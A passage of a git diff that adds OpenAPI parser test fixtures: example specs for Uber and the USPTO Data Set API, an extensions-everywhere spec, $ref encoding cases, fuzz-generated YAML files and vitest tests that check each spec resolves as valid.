+        200:
+          description: History information for the given user
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/Activities"
+        default:
+          description: Unexpected error
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/Error"
+components:
+  securitySchemes:
+    apikey:
+      type: apiKey
+      name: server_token
+      in: query
+  schemas:
+    Product:
+      properties:
+        product_id:
+          type: string
+          description: Unique identifier representing a specific product for a given latitude & longitude. For example, uberX in San Francisco will have a different product_id than uberX in Los Angeles.
+        description:
+          type: string
+          description: Description of product.
+        display_name:
+          type: string
+          description: Display name of product.
+        capacity:
+          type: integer
+          description: Capacity of product. For example, 4 people.
+        image:
+          type: string
+          description: Image URL representing the product.
+    ProductList:
+      properties:
+        products:
+          description: Contains the list of products
+          type: array
+          items: 
+            $ref: "#/components/schemas/Product"
+    PriceEstimate:
+      properties:
+        product_id:
+          type: string
+          description: Unique identifier representing a specific product for a given latitude & longitude. For example, uberX in San Francisco will have a different product_id than uberX in Los Angeles
+        currency_code:
+          type: string
+          description: "[ISO 4217](http://en.wikipedia.org/wiki/ISO_4217) currency code."
+        display_name:
+          type: string
+          description: Display name of product.
+        estimate: 
+          type: string
+          description: Formatted string of estimate in local currency of the start location. Estimate could be a range, a single number (flat rate) or "Metered" for TAXI.
+        low_estimate:
+          type: number
+          description: Lower bound of the estimated price.
+        high_estimate:
+          type: number
+          description: Upper bound of the estimated price.
+        surge_multiplier:
+          type: number
+          description: Expected surge multiplier. Surge is active if surge_multiplier is greater than 1. Price estimate already factors in the surge multiplier.
+    Profile:
+      properties:
+        first_name:
+          type: string
+          description: First name of the Uber user.
+        last_name:
+          type: string
+          description: Last name of the Uber user.
+        email:
+          type: string
+          description: Email address of the Uber user
+        picture:
+          type: string
+          description: Image URL of the Uber user.
+        promo_code:
+          type: string
+          description: Promo code of the Uber user.   
+    Activity:
+      properties:
+        uuid:
+          type: string
+          description: Unique identifier for the activity
+    Activities:
+      properties:
+        offset:
+          type: integer
+          format: int32
+          description: Position in pagination.
+        limit:
+          type: integer
+          format: int32
+          description: Number of items to retrieve (100 max).
+        count:
+          type: integer
+          format: int32
+          description: Total number of items available.
+        history:
+          type: array
+          items:
+            $ref: "#/components/schemas/Activity"
+    Error:
+      properties:
+        code:
+          type: integer
+          format: int32
+        message:
+          type: string
+        fields:
+          type: string
+        
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/uspto.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/uspto.yaml
new file mode 100644
index 0000000..8e9b159
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/uspto.yaml
@@ -0,0 +1,210 @@
+openapi: 3.0.1
+servers:
+  - url: '{scheme}://developer.uspto.gov/ds-api'
+    variables:
+      scheme:
+        description: 'The Data Set API is accessible via https and http'
+        enum:
+          - 'https'
+          - 'http'
+        default: 'https'
+info:
+  description: >-
+    The Data Set API (DSAPI) allows the public users to discover and search
+    USPTO exported data sets. This is a generic API that allows USPTO users to
+    make any CSV based data files searchable through API. With the help of GET
+    call, it returns the list of data fields that are searchable. With the help
+    of POST call, data can be fetched based on the filters on the field names.
+    Please note that POST call is used to search the actual data. The reason for
+    the POST call is that it allows users to specify any complex search criteria
+    without worry about the GET size limitations as well as encoding of the
+    input parameters.
+  version: 1.0.0
+  title: USPTO Data Set API
+  contact:
+    name: Open Data Portal
+    url: 'https://developer.uspto.gov'
+    email: developer@uspto.gov
+tags:
+  - name: metadata
+    description: Find out about the data sets
+  - name: search
+    description: Search a data set
+paths:
+  /:
+    get:
+      tags:
+        - metadata
+      operationId: list-data-sets
+      summary: List available data sets
+      responses:
+        '200':
+          description: Returns a list of data sets
+          content:
+            application/json:
+              schema:
+                $ref: '#/components/schemas/dataSetList'
+              example:
+                {
+                  "total": 2,
+                  "apis": [
+                    {
+                      "apiKey": "oa_citations",
+                      "apiVersionNumber": "v1",
+                      "apiUrl": "https://developer.uspto.gov/ds-api/oa_citations/v1/fields",
+                      "apiDocumentationUrl": "https://developer.uspto.gov/ds-api-docs/index.html?url=https://developer.uspto.gov/ds-api/swagger/docs/oa_citations.json"
+                    },
+                    {
+                      "apiKey": "cancer_moonshot",
+                      "apiVersionNumber": "v1",
+                      "apiUrl": "https://developer.uspto.gov/ds-api/cancer_moonshot/v1/fields",
+                      "apiDocumentationUrl": "https://developer.uspto.gov/ds-api-docs/index.html?url=https://developer.uspto.gov/ds-api/swagger/docs/cancer_moonshot.json"
+                    }
+                  ]
+                }
+  /{dataset}/{version}/fields:
+    get:
+      tags:
+        - metadata
+      summary: >-
+        Provides the general information about the API and the list of fields
+        that can be used to query the dataset.
+      description: >-
+        This GET API returns the list of all the searchable field names that are
+        in the oa_citations. Please see the 'fields' attribute which returns an
+        array of field names. Each field or a combination of fields can be
+        searched using the syntax options shown below.
+      operationId: list-searchable-fields
+      parameters:
+        - name: dataset
+          in: path
+          description: 'Name of the dataset.'
+          required: true
+          example: "oa_citations"
+          schema:
+            type: string
+        - name: version
+          in: path
+          description: Version of the dataset.
+          required: true
+          example: "v1"
+          schema:
+            type: string
+      responses:
+        '200':
+          description: >-
+            The dataset API for the given version is found and it is accessible
+            to consume.
+          content:
+            application/json:
+              schema:
+                type: string
+        '404':
+          description: >-
+            The combination of dataset name and version is not found in the
+            system or it is not published yet to be consumed by public.
+          content:
+            application/json:
+              schema:
+                type: string
+  /{dataset}/{version}/records:
+    post:
+      tags:
+        - search
+      summary: >-
+        Provides search capability for the data set with the given search
+        criteria.
+      description: >-
+        This API is based on Solr/Lucense Search. The data is indexed using
+        SOLR. This GET API returns the list of all the searchable field names
+        that are in the Solr Index. Please see the 'fields' attribute which
+        returns an array of field names. Each field or a combination of fields
+        can be searched using the Solr/Lucene Syntax. Please refer
+        https://lucene.apache.org/core/3_6_2/queryparsersyntax.html#Overview for
+        the query syntax. List of field names that are searchable can be
+        determined using above GET api.
+      operationId: perform-search
+      parameters:
+        - name: version
+          in: path
+          description: Version of the dataset.
+          required: true
+          schema:
+            type: string
+            default: v1
+        - name: dataset
+          in: path
+          description: 'Name of the dataset. In this case, the default value is oa_citations'
+          required: true
+          schema:
+            type: string
+            default: oa_citations
+      responses:
+        '200':
+          description: successful operation
+          content:
+            application/json:
+              schema:
+                type: array
+                items:
+                  type: object
+                  additionalProperties:
+                    type: object
+        '404':
+          description: No matching record found for the given criteria.
+      requestBody:
+        content:
+          application/x-www-form-urlencoded:
+            schema:
+              type: object
+              properties:
+                criteria:
+                  description: >-
+                    Uses Lucene Query Syntax in the format of
+                    propertyName:value, propertyName:[num1 TO num2] and date
+                    range format: propertyName:[yyyyMMdd TO yyyyMMdd]. In the
+                    response please see the 'docs' element which has the list of
+                    record objects. Each record structure would consist of all
+                    the fields and their corresponding values.
+                  type: string
+                  default: '*:*'
+                start:
+                  description: Starting record number. Default value is 0.
+                  type: integer
+                  default: 0
+                rows:
+                  description: >-
+                    Specify number of rows to be returned. If you run the search
+                    with default values, in the response you will see 'numFound'
+                    attribute which will tell the number of records available in
+                    the dataset.
+                  type: integer
+                  default: 100
+              required:
+                - criteria
+components:
+  schemas:
+    dataSetList:
+      type: object
+      properties:
+        total:
+          type: integer
+        apis:
+          type: array
+          items:
+            type: object
+            properties:
+              apiKey:
+                type: string
+                description: To be used as a dataset parameter value
+              apiVersionNumber:
+                type: string
+                description: To be used as a version parameter value
+              apiUrl:
+                type: string
+                format: uriref
+                description: "The URL describing the dataset's fields"
+              apiDocumentationUrl:
+                type: string
+                format: uriref
+                description: A URL to the API console for each API
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/cyclical.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/cyclical.test.ts
new file mode 100644
index 0000000..9320e7e
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/cyclical.test.ts
@@ -0,0 +1,13 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import cyclical from './cyclical.yaml'
+
+describe.todo('cyclical', () => {
+  it('passes', async () => {
+    const result = await resolve(cyclical)
+
+    expect(result.valid).toBe(true)
+    expect(result.version).toBe('3.0')
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/cyclical.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/cyclical.yaml
new file mode 100644
index 0000000..6122900
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/cyclical.yaml
@@ -0,0 +1,9 @@
+openapi: 3.0.0
+info:
+  title: API
+  version: 1.0.0
+paths: {}
+components:
+  schemas:
+    top:
+      $ref: '../partial/cycledef.yaml#/components/schemas/top'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/deprecated.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/deprecated.test.ts
new file mode 100644
index 0000000..504aec1
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/deprecated.test.ts
@@ -0,0 +1,13 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import deprecated from './deprecated.yaml'
+
+describe('deprecated', () => {
+  it('passes', async () => {
+    const result = await resolve(deprecated)
+
+    expect(result.valid).toBe(true)
+    expect(result.version).toBe('3.0')
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/deprecated.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/deprecated.yaml
new file mode 100644
index 0000000..c4ddfb5
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/deprecated.yaml
@@ -0,0 +1,18 @@
+openapi: 3.0.1
+info:
+  title: API
+  version: 1.0.0
+paths:
+  /:
+    get:
+      deprecated: true
+      parameters:
+        - name: test
+          in: query
+          deprecated: true
+          schema:
+            type: string
+            deprecated: true
+      responses:
+        '200':
+          description: OK
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/extensionsEverywhere.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/extensionsEverywhere.test.ts
new file mode 100644
index 0000000..3577412
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/extensionsEverywhere.test.ts
@@ -0,0 +1,13 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import extensionsEverywhere from './extensionsEverywhere.yaml'
+
+describe('extensionsEverywhere', () => {
+  it('passes', async () => {
+    const result = await resolve(extensionsEverywhere)
+
+    expect(result.valid).toBe(true)
+    expect(result.version).toBe('3.0')
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/extensionsEverywhere.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/extensionsEverywhere.yaml
new file mode 100644
index 0000000..109c533
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/extensionsEverywhere.yaml
@@ -0,0 +1,334 @@
+openapi: 3.0.0
+x-an-extension-null: null
+x-an-extension-primitive: 1
+x-an-extension-array: []
+x-an-extension-object: {}
+info:
+  version: 0.0.0
+  title: Thing API (@alasdairhurst on GitHub)
+  description: https://github.com/apigee-127/sway/pull/220#issuecomment-587568565
+  contact:
+    name: Axway Person
+    url: http://www.axway.com
+    email: foo@bar.com
+    x-an-extension-null: null
+    x-an-extension-primitive: 1
+    x-an-extension-array: []
+    x-an-extension-object: {}
+  license:
+    name: FREE
+    url: http://www.axway.com
+    x-an-extension-null: null
+    x-an-extension-primitive: 1
+    x-an-extension-array: []
+    x-an-extension-object: {}
+  x-an-extension-null: null
+  x-an-extension-primitive: 1
+  x-an-extension-array: []
+  x-an-extension-object: {}
+paths:
+  x-an-extension-null: null
+  x-an-extension-primitive: 1
+  x-an-extension-array: []
+  x-an-extension-object:
+    get:
+      description: this is an x- extension and not a path/method
+      responses:
+        default:
+          description: too lazy to make a 200
+  x-not-a-path-but-used-in-ref:
+    get:
+      description: this is a method used by a path which isn't
+        'x-not-a-path-but-used-in-ref'
+      responses:
+        default:
+          description: too lazy to make a 200
+  /thingEmpty: {}
+  /thingyref:
+    $ref: "#/paths/x-not-a-path-but-used-in-ref"
+  /thing:
+    parameters:
+      - $ref: "#/components/parameters/apiKey"
+    get:
+      x-an-extension-null: null
+      x-an-extension-primitive: 1
+      x-an-extension-array: []
+      x-an-extension-object: {}
+      description: has no operation id, no parameters
+      responses:
+        default:
+          description: too lazy to make a 200
+    patch:
+      x-an-extension-null: null
+      x-an-extension-primitive: 1
+      x-an-extension-array: []
+      x-an-extension-object: {}
+      description: updates name
+      parameters:
+        - name: name
+          in: query
+          schema:
+            type: string
+        - name: apiKey
+          in: query
+          description: Overrides the path item parameters
+          schema:
+            type: number
+      responses:
+        "204":
+          description: done
+    delete:
+      x-an-extension-null: null
+      x-an-extension-primitive: 1
+      x-an-extension-array: []
+      x-an-extension-object: {}
+      tags:
+        - foo
+        - bar
+        - baz
+      summary: interesting endpoint which deletes something for the sake of it.
+      externalDocs:
+        description: foo
+        url: http://www.axway.com
+        x-an-extension-null: null
+        x-an-extension-primitive: 1
+        x-an-extension-array: []
+        x-an-extension-object: {}
+      operationId: deleteNameUnique
+      description: deletes name
+      parameters:
+        - $ref: "#/components/parameters/name"
+        - $ref: "#/components/parameters/fooArr"
+        - $ref: "#/components/parameters/barInt"
+      responses:
+        "201":
+          description: done
+    put:
+      x-an-extension-null: null
+      x-an-extension-primitive: 1
+      x-an-extension-array: []
+      x-an-extension-object: {}
+      operationId: uploadThing
+      requestBody:
+        content:
+          multipart/form-data:
+            schema:
+              type: object
+              properties:
+                thing:
+                  description: file to upload
+                  type: string
+                  format: binary
+                  x-an-extension-null: null
+                  x-an-extension-primitive: 1
+                  x-an-extension-array: []
+                  x-an-extension-object: {}
+              required:
+                - thing
+      responses:
+        default:
+          description: Updated
+    post:
+      x-an-extension-null: null
+      x-an-extension-primitive: 1
+      x-an-extension-array: []
+      x-an-extension-object: {}
+      operationId: upsert
+      requestBody:
+        content:
+          application/json:
+            schema:
+              $ref: "#/components/schemas/wannaBeThing"
+      deprecated: true
+      responses:
+        "200":
+          x-an-extension-null: null
+          x-an-extension-primitive: 1
+          x-an-extension-array: []
+          x-an-extension-object: {}
+          description: Updated
+          headers:
+            Location:
+              x-an-extension-null: null
+              x-an-extension-primitive: 1
+              x-an-extension-array: []
+              x-an-extension-object: {}
+              description: Location of new resource
+              schema:
+                type: string
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/thing"
+              examples:
+                response:
+                  value:
+                    name: Puma
+                    id: Dog
+        "201":
+          description: Created
+          headers:
+            Location:
+              description: Location of new resource
+              schema:
+                type: string
+        "204":
+          description: Updated no content
+        "400":
+          description: Bad request
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/error"
+        "500":
+          description: Server error
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/serverError"
+        "501":
+          description: Inline schema
+          content:
+            application/json:
+              schema:
+                type: object
+                description: why not
+        x-an-extension-null: null
+        x-an-extension-primitive: 1
+        x-an-extension-array: []
+        x-an-extension-object:
+          description: ""
+        default:
+          $ref: "#/components/responses/serverError"
+servers:
+  - url: http://localhost:8080/test
+  - url: https://localhost:8080/test
+  - url: ws://localhost:8080/test
+  - url: wss://localhost:8080/test
+components:
+  parameters:
+    apiKey:
+      in: query
+      name: apiKey
+      required: true
+      schema:
+        type: string
+    name:
+      name: name
+      in: query
+      allowEmptyValue: true
+      schema:
+        type: string
+        format: password
+        enum:
+          - foo
+          - bar
+          - baz
+    fooArr:
+      name: fooArr
+      in: query
+      description: an array of array of strings no bigger than 10 characters beginning with
+        h y or m
+      style: pipeDelimited
+      schema:
+        type: array
+        items:
+          type: array
+          default:
+            - hello
+            - me
+          items:
+            type: string
+            maxLength: 10
+            minLength: 2
+            pattern: ^[hmy]
+        uniqueItems: true
+        default:
+          - - hello
+            - you
+          - - me
+    barInt:
+      x-an-extension-null: null
+      x-an-extension-primitive: 1
+      x-an-extension-array: []
+      x-an-extension-object: {}
+      in: query
+      description: an integer which is a multiple of 5 but bigger than 5 and no bigger than
+        100
+      name: barInt
+      schema:
+        type: integer
+        minimum: 5
+        maximum: 100
+        exclusiveMinimum: true
+        exclusiveMaximum: false
+        multipleOf: 5
+  responses:
+    serverError:
+      description: Server error
+      content:
+        application/json:
+          schema:
+            $ref: "#/components/schemas/serverError"
+  schemas:
+    geo:
+      description: A geographical coordinate
+      type: object
+      properties:
+        latitude:
+          type: number
+        longitude:
+          type: number
+    wannaBeThing:
+      x-an-extension-null: null
+      x-an-extension-primitive: 1
+      x-an-extension-array: []
+      x-an-extension-object: {}
+      discriminator:
+        propertyName: name
+      type: object
+      properties:
+        name:
+          type: string
+      required:
+        - name
+    thing:
+      x-an-extension-null: null
+      x-an-extension-primitive: 1
+      x-an-extension-array: []
+      x-an-extension-object: {}
+      type: object
+      properties:
+        id:
+          type: number
+        name:
+          type: string
+      required:
+        - id
+        - name
+    serverError:
+      x-an-extension-null: null
+      x-an-extension-primitive: 1
+      x-an-extension-array: []
+      x-an-extension-object: {}
+      type: object
+      properties:
+        message:
+          type: string
+        location:
+          $ref: "#/components/schemas/geo"
+      required:
+        - message
+    error:
+      x-an-extension-null: null
+      x-an-extension-primitive: 1
+      x-an-extension-array: []
+      x-an-extension-object: {}
+      type: object
+      properties:
+        messages:
+          type: array
+          items:
+            type: string
+      required:
+        - messages
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/externalPathItemRef.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/externalPathItemRef.test.ts
new file mode 100644
index 0000000..a3db0f3
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/externalPathItemRef.test.ts
@@ -0,0 +1,19 @@
+import { describe, expect, it } from 'vitest'
+
+import { loadFiles, resolve } from '../../../../src'
+import { relativePath } from '../../../../tests/utils'
+
+const EXAMPLE_FILE = relativePath(
+  import.meta.url,
+  './pass/externalPathItemRef.yaml',
+)
+
+describe('externalPathItemRef', () => {
+  it('passes', async () => {
+    const filesystem = loadFiles(EXAMPLE_FILE)
+    const result = await resolve(filesystem)
+
+    expect(result.valid).toBe(true)
+    expect(result.version).toBe('3.0')
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/externalPathItemRef.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/externalPathItemRef.yaml
new file mode 100644
index 0000000..0dba6a5
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/externalPathItemRef.yaml
@@ -0,0 +1,13 @@
+openapi: 3.0.0
+info:
+  title: Test valid external $ref of PathItem
+  version: 1.0.0
+
+servers:
+- url: https://acme.com/api/v1
+
+paths:
+  /test:
+    $ref: '../resources/include.yaml#/paths/~1test'
+  /test2:
+    $ref: '../resources/include.yaml#/paths/~1'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fiendish/ref-encoding2.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fiendish/ref-encoding2.test.ts
new file mode 100644
index 0000000..b58f7c9
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fiendish/ref-encoding2.test.ts
@@ -0,0 +1,13 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../../src'
+import refEncoding2 from './ref-encoding2.yaml'
+
+describe('ref-encoding2', () => {
+  it('passes', async () => {
+    const result = await resolve(refEncoding2)
+
+    expect(result.valid).toBe(true)
+    expect(result.version).toBe('2.0')
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fiendish/ref-encoding2.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fiendish/ref-encoding2.yaml
new file mode 100644
index 0000000..f82e5a9
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fiendish/ref-encoding2.yaml
@@ -0,0 +1,18 @@
+swagger: '2.0'
+info:
+  title: API
+  version: 1.0.0
+paths:
+  /:
+    get:
+      responses:
+        default:
+          description: OK
+          schema:
+            $ref: '#/definitions/container/properties/with%20space'
+definitions:
+  container:
+    type: object
+    properties:
+      'with space':
+        type: string
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fiendish/ref-encoding3.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fiendish/ref-encoding3.test.ts
new file mode 100644
index 0000000..5c99fbd
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fiendish/ref-encoding3.test.ts
@@ -0,0 +1,13 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../../src'
+import refEncoding3 from './ref-encoding3.yaml'
+
+describe('ref-encoding3', () => {
+  it('passes', async () => {
+    const result = await resolve(refEncoding3)
+
+    expect(result.valid).toBe(true)
+    expect(result.version).toBe('3.0')
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fiendish/ref-encoding3.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fiendish/ref-encoding3.yaml
new file mode 100644
index 0000000..b02d989
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fiendish/ref-encoding3.yaml
@@ -0,0 +1,24 @@
+openapi: 3.0.1
+info:
+  title: API
+  version: 1.0.0
+paths:
+  /:
+    get:
+      responses:
+        default:
+          description: OK
+          content:
+            application/json:
+              schema:
+                $ref: '#/components/schemas/container/properties/with%20space'
+            text/xml:
+              schema:
+                $ref: '#/components/schemas/container/properties/with+space'
+components:
+  schemas:
+    container:
+      type: object
+      properties:
+        'with space':
+          type: string
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/23827c62-76c5-4bf0-b756-7a038ddf718a.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/23827c62-76c5-4bf0-b756-7a038ddf718a.yaml
new file mode 100644
index 0000000..8ccd2e3
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/23827c62-76c5-4bf0-b756-7a038ddf718a.yaml
@@ -0,0 +1,6 @@
+openapi: '3.0.6-`C47:!n.]Ro'
+info:
+  title: minim commodo sed cillum aliqua
+  version: cillum qui ea minim Excepteur
+paths: {}
+x-testcase: 'should work without optional property: security'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/2e094966-d748-42c6-a0f1-f0fa868f7428.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/2e094966-d748-42c6-a0f1-f0fa868f7428.yaml
new file mode 100644
index 0000000..b6b3024
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/2e094966-d748-42c6-a0f1-f0fa868f7428.yaml
@@ -0,0 +1,13 @@
+openapi: '3.0.1-5f=R[b'
+info:
+  title: est in sint minim
+  version: irure in pariatur
+  license:
+    name: ''
+paths: {}
+externalDocs:
+  url: http://example.com/
+servers:
+  - url: http://example.com/
+    description: Excepteur Ut nulla deser
+x-testcase: 'within array test: should work with all required properties'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/32fae80f-7937-43ba-815c-f00ea6aeb48b.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/32fae80f-7937-43ba-815c-f00ea6aeb48b.yaml
new file mode 100644
index 0000000..2807dda
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/32fae80f-7937-43ba-815c-f00ea6aeb48b.yaml
@@ -0,0 +1,8 @@
+openapi: 3.0.5-S)
+info:
+  title: in amet culpa reprehenderit
+  version: non sunt et ipsum
+  contact:
+    email: 1Kl8Qi2@NW.jv
+paths: {}
+x-testcase: 'should work without optional property: components'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/3a3cacd9-34f1-44e7-a9a7-ffe24888a624.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/3a3cacd9-34f1-44e7-a9a7-ffe24888a624.yaml
new file mode 100644
index 0000000..4a442c2
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/3a3cacd9-34f1-44e7-a9a7-ffe24888a624.yaml
@@ -0,0 +1,15 @@
+openapi: 3.0.7
+info:
+  title: cillum anim magna occaecat
+  version: ut
+  description: quis laboris adipisicing
+paths: {}
+components:
+  securitySchemes:
+    T0:
+      type: openIdConnect
+      openIdConnectUrl: http://example.com
+      description: sunt ut
+tags:
+  - name: in
+x-testcase: 'within array test: should work without optional property: description'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/50aea792-0425-474d-938b-fc8a7387739a.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/50aea792-0425-474d-938b-fc8a7387739a.yaml
new file mode 100644
index 0000000..f6af9dd
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/50aea792-0425-474d-938b-fc8a7387739a.yaml
@@ -0,0 +1,10 @@
+openapi: 3.0.2
+info:
+  title: magna Duis ipsum
+  version: occaecat amet Ut ex nisi
+paths:
+  /: {}
+tags:
+  - name: ex
+    description: ullamco proident
+x-testcase: 'within array test: should work with all required properties'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/6012094d-8d46-4386-84b5-4829d7e7f9af.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/6012094d-8d46-4386-84b5-4829d7e7f9af.yaml
new file mode 100644
index 0000000..2ebcec4
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/6012094d-8d46-4386-84b5-4829d7e7f9af.yaml
@@ -0,0 +1,9 @@
+openapi: 3.0.7-xcbK*d|fB
+info:
+  title: do
+  version: fugiat ea
+  termsOfService: http://oLAutx0.org
+paths: {}
+externalDocs:
+  url: http://foo.bar
+x-testcase: 'should work without optional property: servers'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/71d901df-4c4c-40da-bb0a-41aa6f3b5533.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/71d901df-4c4c-40da-bb0a-41aa6f3b5533.yaml
new file mode 100644
index 0000000..4a442c2
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/71d901df-4c4c-40da-bb0a-41aa6f3b5533.yaml
@@ -0,0 +1,15 @@
+openapi: 3.0.7
+info:
+  title: cillum anim magna occaecat
+  version: ut
+  description: quis laboris adipisicing
+paths: {}
+components:
+  securitySchemes:
+    T0:
+      type: openIdConnect
+      openIdConnectUrl: http://example.com
+      description: sunt ut
+tags:
+  - name: in
+x-testcase: 'within array test: should work without optional property: description'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/8331d5cd-c1fb-4c8c-b3e4-638c10fa4d80.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/8331d5cd-c1fb-4c8c-b3e4-638c10fa4d80.yaml
new file mode 100644
index 0000000..fdd6299
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/8331d5cd-c1fb-4c8c-b3e4-638c10fa4d80.yaml
@@ -0,0 +1,24 @@
+openapi: 3.0.5-y`56g;T
+info:
+  title: dolor
+  version: Excepteur
+paths: {}
+components:
+  securitySchemes:
+    Q7EKAnnh7:
+      type: openIdConnect
+      openIdConnectUrl: http://example.com
+tags:
+  - name: do repre
+    description: fugiat nulla
+  - name: aliquip elit
+  - name: qui anim pariatur occaecat cupidatat
+  - name: adipisicing officia no
+servers:
+  - url: http://example.com
+    description: commodo ea aliquip voluptate qui
+  - url: https://foo.bat
+    description: ut Lorem labore
+  - url: http://example.com/foo/bar
+  - url: http://www.example.com/foo
+x-testcase: 'should work without optional property: externalDocs'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/adca3491-a606-4ede-b895-678710727380.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/adca3491-a606-4ede-b895-678710727380.yaml
new file mode 100644
index 0000000..8714ae5
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/adca3491-a606-4ede-b895-678710727380.yaml
@@ -0,0 +1,13 @@
+openapi: '3.0.1-5f=R[b'
+info:
+  title: est in sint minim
+  version: irure in pariatur
+  license:
+    name: ''
+paths: {}
+externalDocs:
+  url: http://example.com
+servers:
+  - url: http://example.com
+    description: Excepteur Ut nulla deser
+x-testcase: 'within array test: should work with all required properties'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/e0c69574-9408-4c46-baac-5d3b98b46b67.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/e0c69574-9408-4c46-baac-5d3b98b46b67.yaml
new file mode 100644
index 0000000..eb1f3c9
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/e0c69574-9408-4c46-baac-5d3b98b46b67.yaml
@@ -0,0 +1,8 @@
+openapi: 3.0.6-I&ZH7R
+info:
+  title: esse cupidatat labore aute Ut
+  version: cupidatat
+  license:
+    name: nulla velit ex occaecat
+paths: {}
+x-testcase: 'should work without optional property: tags'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/f8c97f2c-efa9-4a93-bd39-e7008df12b47.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/f8c97f2c-efa9-4a93-bd39-e7008df12b47.yaml
new file mode 100644
index 0000000..f6af9dd
--- /dev/null
